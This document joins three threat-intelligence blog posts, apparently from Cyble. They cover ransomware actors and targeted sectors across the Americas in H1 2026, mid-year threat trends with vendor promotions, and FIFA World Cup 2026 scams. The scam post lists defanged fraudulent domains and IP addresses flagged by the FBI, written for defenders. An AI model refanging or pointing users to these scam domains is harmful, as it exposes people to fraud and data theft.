The Gentlemen are a relatively new operator that has achieved outsized scale in a short window, and their South American concentration is the most important regional signal in this dataset. Unlike Qilin or Akira — which built North American dominance first and are only beginning to diversify — The Gentlemen appear to have prioritized South America as a primary theatre from early in their operational life, an unusual strategic choice that may reflect lower defensive maturity, less aggressive law enforcement cooperation, or simply less competitive pressure from other RaaS operators in the sub-region.

Americas Security Implications: South American organizations — especially in healthcare, manufacturing, and IT services — should treat The Gentlemen as their single highest-priority named adversary. North American organizations should not discount them either; 100 US-focused attacks is a substantial footprint for a group still building its brand.

Other Notable Threats: Play, LockBit, and CL0P

Three additional groups warrant inclusion in any Americas threat model:

• Play (144 attacks, North America only): Continues its "Big Game Hunting" approach layered with high-volume SMB attacks via unpatched public-facing network devices, concentrated almost entirely on US and Canadian construction, professional services, and manufacturing targets.
• LockBit (80 attacks combined — 47 in North America, 33 in South America): Despite sustained international law enforcement pressure and repeated takedown attempts, LockBit remains operationally resilient across both sub-regions, notably compromising Chile's Clínica Dávila in South America.
• CL0P (93 attacks combined — 91 in North America, 2 in South America): Operated differently from its peers, executing a large-scale campaign concentrated in January and February 2026 that exploited a single zero-day vulnerability across hundreds of organizations at once — reminiscent of the group's historical MOVEit campaign.

Also read: The Most Active Threat Actors of H1 2026

The Five Most Targeted Nations in the Americas

United States: The Global Ransomware Epicenter

Attack Volume: 1,721 ransomware attacks — 78.7% of all Americas ransomware activity, and roughly 45% of every ransomware attack recorded worldwide.

No other country on Earth comes close to the volume of ransomware activity absorbed by the United States in H1 2026. The country functions as the default target for nearly every major RaaS operator active today.

Threat Actor Concentration:

• Qilin: 323 attacks
• Akira: 247 attacks
• INC Ransom: 154 attacks
• Dragonforce: 135 attacks
• Play: 134 attacks

Sectoral Breakdown: Manufacturing, Professional Services, Construction, and Healthcare bear the brunt, consistent with the broader North American pattern of operationally sensitive, low-downtime-tolerance industries.

Why the United States Faces Maximum Pressure

The scale of the US economy, its dense concentration of mid-market manufacturers, law firms, and healthcare providers, and its comparatively high ransom-payment history combine to make it the most economically rational target for every major ransomware operator. US organizations also frequently anchor cross-border supply chains stretching into Canada, Mexico, and South America — meaning a US compromise can cascade into lateral access against hemispheric partners.

Defensive Priority: US organizations across construction, manufacturing, professional services, and healthcare should assume Qilin, Akira, INC Ransom, Dragonforce, Play, and The Gentlemen are all actively scanning for exploitable entry points into their networks simultaneously — not sequentially.

Canada: The Cross-Border Extension

Attack Volume: 179 ransomware attacks — 8.2% of the regional total.

Canada's threat profile closely tracks the United States, reflecting deep economic integration and shared supply chains rather than a distinct targeting logic of its own.

Sectoral Breakdown: Manufacturing, professional services, and construction dominate, mirroring the US pattern almost directly.

Why Canada Faces Sustained Pressure

Canadian organizations are frequently subsidiaries, suppliers, or joint-venture partners of US enterprises, which means the same RaaS groups saturating the US market extend naturally northward. Cross-border manufacturing in particular creates lateral access opportunities that Dragonforce and Akira appear well-positioned to exploit.

Defensive Priority: Canadian organizations should not assume distance from US headquarters provides insulation — the same threat actors, exploiting the same vulnerability classes, are already active on both sides of the border.

Brazil: The Financial Malware and Ransomware Convergence Point

Attack Volume: 71 ransomware attacks — 3.2% of the regional total, but the largest single concentration in South America.

Brazil represents South America's most complex threat environment, combining traditional ransomware pressure with a maturing, sophisticated financial malware ecosystem.

Threat Actor Concentration: The Gentlemen (15 attacks), LockBit, and a fragmented tail of smaller operators.

Sectoral Breakdown: Government & Law Enforcement, BFSI, and Healthcare are the most consistently targeted sectors.

Why Brazil Faces a Dual Threat

Beyond ransomware, Brazil emerged in H1 2026 as a focal point for new Android banking trojan families — TCLBANKER and BTMOB RAT — which use self-propagation, evasion techniques, and Malware-as-a-Service (MaaS) distribution models to target banking and cryptocurrency users directly. Brazil also suffered an alleged 250-million-record breach of Serasa, one of the country's largest credit bureaus, alongside an access sale allegedly targeting the Central Bank of Brazil — a listing that, if genuine, represents one of the most significant initial-access offerings tracked anywhere in the report.

Defensive Priority: Brazilian financial institutions should treat mobile banking malware and ransomware as converging risks rather than separate problems — the same underground economy is monetizing both. Government and BFSI entities should assume access-broker listings referencing critical national infrastructure require immediate incident-response-level validation, not routine monitoring.

Mexico: The Emerging Nearshoring Risk

Attack Volume: 39 ransomware attacks — 1.8% of the regional total.

Mexico's attack volume is meaningfully lower than the US, Canada, or Brazil, but its position within North American manufacturing supply chains — accelerated by ongoing nearshoring trends — makes it a nation to watch closely rather than dismiss.

Why Mexico Warrants Increased Attention

As global manufacturers continue relocating production closer to the US market, Mexican facilities increasingly sit inside the same supply chains that Dragonforce, Akira, and Qilin already target aggressively north of the border. Lower current attack volume may reflect earlier-stage targeting rather than lower risk — a pattern security teams should not mistake for durable safety.

Defensive Priority: Manufacturers with Mexican operations should extend the same OT/IT segmentation and vulnerability management discipline applied to US and Canadian facilities to their Mexican sites, rather than treating them as lower priority.

Colombia: Where Hacktivism Meets Cybercrime

Attack Volume: 33 ransomware attacks — 1.5% of the regional total.

Colombia's ransomware volume is modest, but the country stands out for the density of ideologically motivated activity layered on top of financially driven attacks.

Why Colombia Faces a Blended Threat

Groups such as Anonymous Colombia (#OpColombia) ran active campaigns throughout H1 2026 blending website defacement, DDoS attacks, and data leak activity — consistent with the broader South American pattern in which hacktivist-branded channels frequently overlap with financially motivated cybercrime infrastructure.

Defensive Priority: Colombian government and law enforcement entities — the most frequently targeted sector across South America overall — should treat hacktivist claims as credible threat intelligence signals rather than dismissing them as purely ideological noise.

Where Americas Organizations Face Maximum Risk: A Sectoral Analysis

Professional Services: One of the Top Targets

Attack Volume: The second most heavily impacted sector in North America.

Professional services firms — law, accounting, and consulting practices — are one of the top jobs on North America's ransomware target list, driven overwhelmingly by INC Ransom and AiLock's aggressive targeting of client-confidential data.

Why Professional Services Are Targeted

1. Privileged Data Concentration: Legal privilege and client confidentiality create existential regulatory and reputational exposure that threat actors exploit for maximum ransom leverage.
2. Regulatory Pressure: Breach notification requirements incentivize rapid ransom payment to avoid compounding disclosure penalties.
3. Trust-Based Business Model: A single confirmed breach can permanently damage client relationships built entirely on confidentiality.
4. Documented Actor Preference: INC Ransom has shown a specific, repeated preference for law firms — this is not incidental targeting.

Notable Incident Pattern: AiLock's activity stood out for a coordinated wave of victim disclosures on a single day — March 3, 2026 — a pattern consistent with mass-exploitation of a shared vulnerability rather than individually researched targeting.

Defensive Recommendations:

• Segregate client data on separate network segments with distinct, audited access controls
• Deploy data loss prevention (DLP) with aggressive egress monitoring for client-data exfiltration
• Maintain comprehensive access logs for all sensitive client-data touchpoints
• Evaluate ransomware-specific cyber insurance addressing confidentiality exposure

Construction and Manufacturing: The Downtime Economy

Attack Volume: Construction and Manufacturing rank first and third in North America; combined, they represent the largest share of Qilin, Akira, Dragonforce, and The Gentlemen's worldwide targeting.

Constructions and manufacturing share a common vulnerability across the Americas: both operate on tight, contractually enforced timelines where downtime translates directly into cascading financial penalties.

Why Construction and Manufacturing Are Targeted

1. Time-Sensitive Financial Exposure: Missed construction deadlines trigger contractual penalties; halted production lines trigger lost revenue and breached delivery commitments.
2. OT/IT Convergence: Modern factories and job sites increasingly integrate operational technology with corporate IT, creating exploitation bridges unavailable in pure-IT industries.
3. Supply-Chain Complexity: Both industries depend on dense webs of subcontractors and suppliers — compromising one upstream partner can provide lateral access into prime contractors.
4. Cross-Border Exposure: US-Canada-Mexico manufacturing integration (and increasingly, US-Brazil trade relationships) means a single compromise can propagate across national borders.

Defensive Recommendations:

• Implement airgapped network segmentation between OT and corporate IT environments
• Prioritize vulnerability patching for network appliances and identity systems over blanket patch cycles
• Maintain fully offline, immutable backups of critical project and production data
• Extend third-party risk assessments to subcontractors, suppliers, and cross-border subsidiaries

Healthcare: South America's Critical Infrastructure Threat

Attack Volume: One of the top four most heavily impacted sectors in South America.

Healthcare organizations across the Americas — but particularly in South America — face a threat dynamic distinct from financial pressure alone: ransomware attacks against hospitals directly endanger patient safety.

Why Healthcare Is Targeted

1. Patient Safety Leverage: Downtime in diagnostic systems, pharmaceutical dispensing, and patient records directly threatens continuity of care, creating existential pressure to pay quickly.
2. Documented Regional Incidents: The Gentlemen's claimed attack on Primero Medicina Privada and LockBit's compromise of Chile's Clínica Dávila both illustrate ransomware groups' willingness to target hospital networks directly.
3. Data Value: Patient medical records and clinical data command premium prices on dark web marketplaces.
4. System Complexity: Healthcare IT environments blend legacy diagnostic equipment, electronic health records, and connected medical devices — each with distinct security postures.

Defensive Recommendations:

• Implement complete network isolation between clinical systems and corporate IT
• Deploy redundant diagnostic and pharmaceutical systems capable of manual fallback operation
• Encrypt all patient medical records end-to-end
• Build healthcare-specific incident response plans addressing patient notification and continuity of care

Agriculture & Livestock: The Americas' Emerging Supply-Chain Target

Attack Volume: 33% of all North American initial access listings — the second-most targeted sector in the region's access brokerage market.

A distinctive Americas finding: initial access brokers targeting the region show unusually strong interest in Agriculture & Livestock, second only to Technology.

Why Agriculture & Livestock Is an Emerging Target

North America's food supply chain increasingly depends on connected logistics, cold-chain monitoring, and precision agriculture technology — creating an attack surface that did not meaningfully exist a decade ago. Access brokers appear to be positioning themselves ahead of ransomware operators, selling footholds into agricultural operations before ransomware crews weaponize them. This mirrors a pattern seen elsewhere globally but is particularly pronounced in North America's access brokerage data.

Defensive Recommendations:

• Treat agricultural technology platforms (precision ag, cold-chain IoT) with the same security rigor as manufacturing OT
• Monitor initial access broker markets specifically for agriculture and food-sector listings
• Build incident response plans accounting for food-supply-chain continuity, not just data confidentiality

Geopolitical and Ideological Dimensions: Hacktivism Across the Hemisphere

SOLDADOS DIGITALES – UNIÓN AMERICANA: A Hemispheric Hacktivist Collective

Unlike most hacktivist channels tracked in this report, SOLDADOS DIGITALES – UNIÓN AMERICANA operates across both North and South America, making it one of the few genuinely hemispheric threat actors identified in H1 2026 — a significant finding given how regionally siloed most hacktivist activity tends to be.

Combined Hacktivism Metrics (North + South America):

• ~140 confirmed data leak and dump posts across both sub-regions
• At least 932 unique domains impacted (360 in North America, 572 in South America)
• Primary targets: Government & LEA, Technology, BFSI, Telecommunication, Education

Notable Collectives by Sub-Region:

• North America: SOLDADOS DIGITALES – UNIÓN AMERICANA, Anonymous #FreeTurtleIsland, KERALA HACKERS, LYSTIC TEAM #ID
• South America: SOLDADOS DIGITALES – UNIÓN AMERICANA, Anonymous Colombia (#OpColombia) Y.A.N, BLAZER TEAM ATTACK

The Convergence Problem: As with hacktivist activity documented elsewhere in CRIL's global dataset, several Americas-based channels marketed as ideological collectives function as hybrid operations — logging DDoS attacks and defacement claims alongside stolen-data brokerage and DDoS-for-hire services. Security teams should treat these channels as credible threat intelligence sources rather than dismissing their claims as purely political theater.

Regional Threat Actor Summary: Who Targets Your Americas Organization

If You're in Professional Services:

• Primary Threat: INC Ransom, Qilin
• Secondary Threat: AiLock, The Gentlemen
• Vulnerability: Client data exfiltration, regulatory breach-notification pressure
• Defensive Focus: DLP, client data segregation, ransomware-specific cyber insurance, cyber threat intelligence

If You're in Manufacturing or Construction:

• Primary Threat: Qilin, Akira, Dragonforce
• Secondary Threat: The Gentlemen, Play
• Vulnerability: OT/IT convergence, cross-border supply-chain exposure, contractual downtime penalties
• Defensive Focus: OT segmentation, immutable backups, cross-border third-party risk management

If You're in Healthcare:

• Primary Threat: The Gentlemen (South America), Qilin (North America)
• Secondary Threat: LockBit
• Vulnerability: Patient-safety leverage, legacy medical device integration
• Defensive Focus: Clinical system isolation, redundant critical systems, patient-notification-ready incident response

If You're in BFSI:

• Primary Threat: Data exfiltration actors, mobile banking malware (Brazil)
• Secondary Threat: Qilin, The Gentlemen
• Vulnerability: Financial data value, mobile malware convergence, regulatory exposure
• Defensive Focus: DLP with aggressive egress controls, mobile threat monitoring, data encryption

If You're in Agriculture & Livestock:

• Primary Threat: Initial access brokers
• Secondary Threat: Downstream ransomware operators exploiting sold access
• Vulnerability: Precision agriculture and cold-chain IoT exposure
• Defensive Focus: OT-equivalent segmentation for agricultural technology, access-broker monitoring

If You're in Government & Law Enforcement (South America specifically):

• Primary Threat: RALord/Nova, CoinbaseCartel, hacktivist-branded channels
• Secondary Threat: LockBit, The Gentlemen
• Vulnerability: Public-sector data value, hybrid ideological/financial targeting
• Defensive Focus: Treat hacktivist claims as credible intelligence, harden citizen-data repositories

Strategic Defense Recommendations for Americas Organizations

Based on CRIL's H1 2026 regional data, Americas security leaders should prioritize defensive investment in the following sequence.

Phase 1: Critical Infrastructure Protection (30 days)

• Inventory Network Appliances: Document every internet-facing firewall, VPN, and security gateway
• Patch Critical CVEs: Prioritize Ivanti, Fortinet, Cisco, SolarWinds, and Palo Alto Networks appliances — the vendors repeatedly appearing in both the CISA KEV catalog and active exploitation campaigns
• Harden Remote Access: Enforce phishing-resistant MFA on all administrative and remote access paths
• Deploy Behavioral Monitoring: Watch for anomalous activity on network appliances specifically

Phase 2: Data Protection (60 days)

• Data Inventory: Catalog sensitive holdings — client data, financial records, patient records, intellectual property
• DLP Implementation: Deploy data loss prevention with aggressive egress monitoring
• Encryption Standards: Enforce encryption in transit and at rest across all sensitive data stores
• Access Auditing: Maintain comprehensive logs for every access event touching sensitive data

Phase 3: Operational Resilience (90 days)

• Immutable Backups: Establish offline, immutable backup infrastructure isolated from production networks
• Sector-Specific Incident Response: Build playbooks addressing construction project continuity, manufacturing downtime, and healthcare patient-safety scenarios specifically
• Cross-Border Continuity Planning: For organizations with US-Canada-Mexico or US-Brazil operations, extend continuity plans across all connected facilities
• Recovery Testing: Conduct quarterly backup restoration drills to verify actual recovery capability

Phase 4: Threat Hunting and Detection (Ongoing)

• Named-Actor Threat Intelligence: Subscribe to intelligence feeds tracking Qilin, Akira, INC Ransom, Dragonforce, and The Gentlemen specifically
• Access-Broker Monitoring: Track listings for organizational exposure
• Supply-Chain Monitoring: Continuously assess vendor and subsidiary security posture across borders
• Mobile Malware Awareness (Brazil-specific): Financial institutions should monitor for TCLBANKER- and BTMOB RAT-style Android banking trojan activity targeting customers

Conclusion: The Americas Ransomware Reality

The Americas is not just the largest ransomware theatre in the world by volume — it is two distinct threat environments operating under a single regional label. North America hosts a saturated, competitive RaaS marketplace where no single group dominates outright. South America is consolidating around a smaller set of operators, led decisively by The Gentlemen.

Key Takeaways:

1. The Americas carries the global center of gravity: 2,188 of the world's 3,836 documented ransomware attacks (57%) struck North or South America in H1 2026.
2. Five groups anchor the threat: Qilin (410), Akira (268), INC Ransom (171), Dragonforce (153), and The Gentlemen (146) collectively account for over half of all Americas ransomware activity — but their dominance splits sharply by sub-region.
3. North America and South America require different playbooks: North America's threat model demands broad coverage against a long tail of competing operators; South America's demands deep, specific defense against The Gentlemen, Qilin, and LockBit.
4. The United States remains the world's single largest target: 1,721 attacks — nearly 45% of global ransomware volume — makes the US the default target for virtually every major RaaS operator active today.
5. Brazil's threat is compounding, not singular: ransomware, mass data breach, and mobile banking malware are converging in the same underground economy targeting the same financial institutions.
6. Sector risk follows economic logic, not chance: Professional Services, Manufacturing, Construction, Healthcare, and — distinctively for the Americas — Agriculture & Livestock face targeting because threat actors have identified specific, exploitable economic pressure points in each.
7. Access brokers are a leading indicator: a small number of sellers control the region's initial access market and routinely precede ransomware deployment by weeks.

For security leaders across North and South America, the strategic imperative is the same even where the tactical details diverge: know which named actors are active in your specific country and sector, prioritize risk-based patching over blanket cycles, treat data exfiltration as inevitable rather than optional, and build recovery infrastructure that assumes an attack will happen — not one that hopes it won't. The data confirms the Americas will remain the world's most heavily targeted ransomware region through the remainder of 2026. The only open question is how prepared each organization chooses to be.

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Frequently Asked Questions (FAQs)

How many ransomware attacks hit the Americas in H1 2026?

2,188 documented ransomware attacks were observed across North and South America in H1 2026, according to Cyble Research and Intelligence Labs (CRIL) findings.

Which ransomware group is most active in the Americas in H1 2026?

Qilin is the most active group across the combined Americas, with 410 documented attacks (370 in North America, 40 in South America). Within South America specifically, however, The Gentlemen — not Qilin — is the dominant actor.

How many ransomware attacks hit North America in H1 2026?

CRIL recorded 1,981 ransomware attacks in North America during H1 2026, representing roughly 52% of all ransomware activity tracked worldwide.

How many ransomware attacks targeted the US in H1 2026? Is it the highest?

Yes. CRIL observed 1,721 ransomware attacks targeted at the US — which is 78.7% of the American continent (North and South, both), and nearly 45% of every ransomware attack recorded worldwide.

Which sector was the most targeted in South America?

IT & ITES remained the most targeted sector in South America for H1 2026.

Ransomware actors targeted which country the most in South America?

Brazil. With 71 attacks, it was the prime target of ransomware actors in H1 2026.

Is Brazil a significant ransomware target?

Yes. Brazil recorded 71 ransomware attacks — the highest total in South America — and additionally faced an alleged 250 million record breach at credit bureau Serasa, an access sale allegedly targeting the Central Bank of Brazil, and new Android banking trojan families (TCLBANKER, BTMOB RAT) targeting financial and cryptocurrency users.

What is the most targeted industry in the Americas?

Construction tops North America's target list, while IT & ITES, Healthcare, and Professional Services top South America's. Across the whole Americas, Construction and Manufacturing remain consistently high-risk due to their low tolerance for operational downtime.

The post Ransomware Threats in the Americas H1 2026: Dissecting the Regional Attack Patterns and Dominant Actors appeared first on Cyble.

The first half of 2026 has given security teams little room to breathe. Ransomware operators kept up a punishing pace. If that wasn’t enough, access brokers turned network intrusions into a marketplace, and nation-state activity blurred further into hacktivism and organized cybercrime. Taken together, the numbers point to a threat landscape that isn't just growing louder; it's becoming faster, more coordinated, and harder to attribute. 

Cyble's monthly and quarterly research has tracked this shift in real time, and the pattern across regions is consistent. In short, attackers are scaling operations while defenders are still catching up. These threat intelligence trends 2026 also provide an early look at the top cyber threats 2026 and what organizations should expect during the remainder of the year. 

Ransomware Set the Pace for Threat Intelligence Trends in 2026 

Ransomware was one of the biggest threat intelligence trends by far in 2026, in terms of visibility. In just the month of March, a total of 702 ransomware attacks and 54 major data breaches and leaks were registered worldwide. More than 56% of that activity was brought by five groups-Qilin, Akira, The Gentlemen, Dragonforce, and INC Ransom- showing how much consolidation has taken place in the ecosystem. 

The pattern was consistent across regions. In the Americas, there were 1,305 cyber incidents in Q1 2026, of which 1,138 were publicly claimed ransomware attacks — and, once again, just five groups drove 58% of that volume. The most affected were construction, professional services, manufacturing, healthcare, and government bodies, primarily because downtime in these sectors has immediate operational or public-safety consequences. 

Dual-extortion tactics, pairing data theft with system disruption, have become close to standard practice. 

Access Brokers Are Quietly Powering the Ecosystem 

The purchase and sale of access to compromised networks is a major driver of ransomware and espionage campaigns. In March 2026, 20 distinct incidents of the sale of access were observed on underground forums, and the most commonly listed sectors were professional services (25%) and retail (20%).  

Three of these sellers, vexin, holyduxy, and algoyim, accounted for over 55% of this activity, effectively forming a supply chain for the larger attacks. This is one of the upstream markets where response time matters; access is usually sold and exploited long before a breach is publicly detected. 

What if attackers are already buying access to your environment before you know it's been compromised? Discover how Cyble Attack Surface Management helps identify exposed assets and reduce opportunities for initial access.

Identity Has Replaced the Perimeter 

Perhaps the biggest change over the past year has been the shift from malware-first breaches to attacks based on identities. Credential theft, MFA bypass, session hijacking, and third-party access abuses have all become key vectors. Instead of breaking in, attackers are logging in -- and that has some serious implications for the design of monitoring and access controls. 

The numbers back this up. In North America, technology and financial services accounted for 44% of all breach activity in the first half of 2026 — sectors where identity and access sit right at the center of daily operations. Nearly 300 domains were also hit by hacktivist campaigns in the region over that same time, reminding everyone that disruption doesn't always have to come from a super-sophisticated intrusion; sometimes all it takes is one exposed login or an edge system that's gone unpatched. 

Attackers don't always break in anymore—they simply log in. Learn how Cyble Brand Intelligence & Protection helps detect exposed credentials and identity-related threats before they're exploited.

Geopolitics Is Now a Cyber Multiplier 

State-sponsored activity has grown more strategic, with actors focused on mapping dependencies and pre-positioning access rather than pursuing immediate disruption. Regional tensions have accelerated this further, with hybrid operations blending cyberattacks, disinformation, and kinetic action in ways that ripple well beyond the immediate conflict zone.  

During the February 2026 escalation in the Middle East, internet connectivity in targeted regions dropped to as low as 1–4% of normal levels, more than 70 hacktivist groups joined the fray, and disruption to navigation systems affected over 1,100 vessels near the Strait of Hormuz. More than 8,000 conflict-themed domains were also registered during this period to run scams, malware, and disinformation campaigns.  

Critical infrastructure, energy, water, transportation, and communications have emerged as the common target across nearly every regional threat report published this year, and India's own H1 tally from 2024 (593 attacks, including 388 breaches, 107 leaks, and 39 ransomware incidents) shows the same dynamics playing out closer to home. 

AI Is Reshaping Both Sides of the Fight 

AI-driven tooling has moved from experimental to operational. An open-source AI-native testing framework was used to compromise more than 600 Fortinet FortiGate appliances across 55 countries, while 26 malicious npm packages linked to North Korean actors distributed RAT malware through Pastebin- and Vercel-based infrastructure. These incidents also reflect broader vulnerability exploitation trends, where exposed security infrastructure is weaponized rapidly after vulnerabilities become known. 

This tracks with a broader trend flagged going into the year: AI-driven ransomware activity jumped 50%, and October 2025 alone saw software supply chain attacks spike 32% above the previous record. On the defensive side, organizations are beginning to lean on AI-assisted monitoring to keep pace with attacks that no longer unfold on human timescales. 

Cyble Blaze AI accelerates these threat investigations with AI-powered analysis, helping security teams quickly understand, prioritize, and respond to cyber threats. 

Threats evolve every day. Your threat intelligence should too. See how Cyble Cyber Threat Intelligence delivers actionable insights across ransomware, identity, vulnerabilities, and emerging threats.

Conclusion 

The first half of the year highlights a few things about threat intelligence trends that need to be cleared up. First, threat actors are operating with more coordination. Second, less patience, and overlapping motives, financial, political, and strategic. And lastly, organizations that treat cybersecurity as a purely technical function are recalibrating, with boards and executives now directly involved in risk decisions. 

Taken together, these developments provide a clear mid-year threat intelligence trends forecast and shape the broader cyber risk outlook for 2026. Security teams should expect attackers to continue scaling operations, exploiting identities, and leveraging AI throughout the remainder of the year. 

Cyble's full H1 2026 Threat Landscape Report will bring together this data with deeper sector, regional, and actor-level analysis to help security teams prioritize what actually matters for the second half of the year. 

What happened in H1 2026 will define the threats of tomorrow.

From ransomware operations and underground access markets to AI-driven attacks and geopolitical cyber campaigns, the threat landscape is evolving faster than ever.

Download Cyble’s H1 2026 Threat Landscape Report to understand what security leaders should prepare for in the second half of the year.

Subscribe to get Cyble's ongoing threat intelligence coverage across ransomware, dark web activity, and emerging attack trends.   

References: 

• https://cyble.com/blog/monthly-threat-landscape-march-2026/ 

• https://cyble.com/blog/critical-infrastructure-cyberattack-threats-2026/ 

• https://cyble.com/blog/hybrid-warfare-2026-cyber-kinetic-threats/ 

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The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 

The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. 

With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why cybercriminals are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. 

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How FIFA World Cup 2026 Scams Work 

The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. 

The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. 

The most common technical method is typosquatting — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. 

The FBI flagged the following domains as fraudulent FIFA-related sites: 

www.fifa[.]cab	www.fifa[.]pink
www.fifa[.]blue	www.fifa[.]pub
FIFA[.]city	Fifa[.]bio
fifa[.]beer	fifa[.]click
fifa[.]cam	fifa[.]ceo
fifa[.]help	filfa[.]org
fifa-online[.]com	https://fifa-2026[.]xyz
jobs-fifa[.]com	fifa-hr[.]com
fifa-careerhub[.]com	fifaworldcup-careers[.]com
fifa-hiring[.]com	fifahiring[.]com
fifa-ticket[.]live	fifastore.us[.]com
fifaworldcup26[.]sale	fifaworldcup26.xcover-staging[.]com
worldcup2026-tickets.com[.]mx	worldcup26ticket[.]com
2026fifaworldcuptickets[.]online	fwc2026[.]net
fwc2026.web[.]app	www.fifa2026p[.]com
fifa2026fworldcup[.]com	wvvw-fifa[.]com
ww-fifa[.]com	fifa-com[.]com
www.fifa-com[.]services	quiniela-fifa-2026.pages[.]dev

Source: FBI PSA — Domains defanged for safety 

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Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a malicious domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. 

Fake FIFA Hospitality, Ticket, and Sale Sites 

One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. 

Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. 

Cyble researchers identified several indicators that expose the site as illegitimate: 

• Duplicate page titles appearing twice in the browser tab 

• Missing or broken images throughout the site 

• Navigation links leading to attacker-controlled pages 

• Ticket purchase prompts requesting personal and financial information with no legitimate payment processing 

What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. 

Security Vendors Have Already Flagged FIFA-Related Domains 

Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. 

While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  

As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. 

Download Cyble's Annual Threat Landscape Report to track global scam trends

Fake FIFA Recruitment Sites Are Also Active 

Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. 

VirusTotal data revealed: 

• www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors 

• The root domain was flagged by 14 out of 91 vendors 

• The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 

The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. 

WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. 

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Why this matters: Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. 

How to Avoid FIFA World Cup 2026 Ticket Scams 

As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: 

• Type fifa.com directly into your browser's address bar — never rely on search results or links in messages 

• Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results 

• Confirm that the URL is exactly www.fifa.com before entering any information 

• Use saved bookmarks or browser favorites when revisiting FIFA websites 

• Access FIFA subdomains only through the official homepage, not by typing them directly 

• Be cautious of websites with broken graphics, poor-quality branding, or duplicate content 

• Do not provide sensitive information unless the site's legitimacy has been independently verified 

• Review URLs carefully before clicking any advertisements 

These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. 

How to Watch FIFA World Cup 2026 Safely 

Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. 

To reduce risk when looking for FIFA World Cup 2026 streaming options: 

• Use only official FIFA channels and licensed regional broadcasters for tournament information 

• Watch matches exclusively through broadcasters licensed for your region 

• Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups 

• Verify URLs carefully before creating accounts or entering any payment information 

• Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches 

Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. 

What To Do If You Become a Victim of a FIFA World Cup 2026 Scam 

The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: 

• The fraudulent domain name 

• Screenshots of the website 

• Any communication records (emails, SMS, chat logs) 

• Payment details if a transaction occurred 

• Cryptocurrency wallet addresses, if applicable 

Victims can file a complaint with the Internet Crime Complaint Center (IC3) at ic3.gov and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any cryptocurrency transaction details. 

Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. 

Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns 

Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. 

Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive brand protection measures in place now — not after the first incident. 

